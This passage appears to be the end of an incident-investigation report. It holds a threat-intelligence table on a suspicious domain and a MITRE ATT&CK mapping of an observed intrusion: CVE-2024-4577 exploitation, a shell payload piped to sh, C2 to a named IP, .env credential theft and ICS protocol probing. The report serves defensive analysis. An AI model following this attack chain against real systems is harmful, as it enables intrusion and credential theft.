| Attribute             | Value                                        |
|-----------------------|----------------------------------------------|
| VirusTotal Detections | 0/94 vendors (evasion technique)             |
| VirusTotal Notable    | At least 9 malware samples embed this domain |
| alphaMountain.ai      | Suspicious                                   |
| Registrar             | NAMECHEAP INC                                |
| Domain Age            | 1 year (aged domain — deliberate evasion)    |
| Last Analysed         | 15 hours prior to investigation              |

## Appendix D — MITRE ATT&CK Framework Mapping

| Tactic             | Technique                                     | ID        | Evidence                                          |
|--------------------|-----------------------------------------------|-----------|---------------------------------------------------|
| Reconnaissance     | Active Scanning: Vulnerability Scanning       | T1595.002 | 167.71.191.64 mass scanning — 3,951 HTTP requests |
| Reconnaissance     | Active Scanning: Wordlist Scanning            | T1595.003 | PHPUnit 30+ path enumeration                      |
| Initial Access     | Exploit Public-Facing Application             | T1190     | CVE-2024-4577 — successful exploitation           |
| Execution          | Command and Scripting Interpreter: Unix Shell | T1059.004 | shell_exec() payload piped to sh                  |
| Persistence        | Server Software Component                     | T1505     | Attacker content injected into web server         |
| Command & Control  | Application Layer Protocol: Web Protocols     | T1071.001 | C2 via HTTPS to 178.16.55.224                     |
| Collection         | Data from Local System                        | T1005     | .env file harvesting — credential theft           |
| ICS Reconnaissance | Network Service Scanning                      | T0840     | OMRON FINS, BACnet, EtherNet/IP probing           |
| ICS Reconnaissance | Remote System Discovery                       | T0846     | BACnet readProperty device enumeration            |
| ICS Reconnaissance | Point & Tag Identification                    | T0861     | OMRON Controller Data Read, BACnet readProperty   |